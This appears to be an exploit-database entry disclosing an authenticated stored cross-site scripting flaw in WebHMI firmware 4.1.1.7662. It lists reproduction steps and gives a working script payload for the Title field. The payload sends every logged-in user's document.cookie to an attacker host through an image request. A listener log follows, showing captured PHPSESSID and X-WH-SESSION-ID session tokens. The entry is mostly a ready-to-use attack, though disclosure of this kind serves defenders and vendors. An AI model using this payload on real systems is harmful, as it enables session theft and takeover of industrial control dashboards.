[webapps] WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)

# Exploit Title: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated) # Date: 04/01/2022 # Exploit Author: Antonio Cuomo (arkantolo) # Vendor Homepage: https://webhmi.com.ua/en/ # Version: WebHMI Firmware 4.1.1.7662 # Tested on: WebHMI Firmware 4.1.1.7662 #Steps to Reproduce 1. Login to admin account 2. Add a new register or create new dashboard insert payload <script>var i=new Image;i.src="http://ATTACKERIP/?"+document.cookie;</script> in Title field and save. # Dashboard section impact instantly all logged users. #Listener log: GET /?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP/1.1 Host: 192.168.0.169:8080 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-GPC: 1 Referer: http://192.168.0.153/ Accept-Encoding: gzip, deflate Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7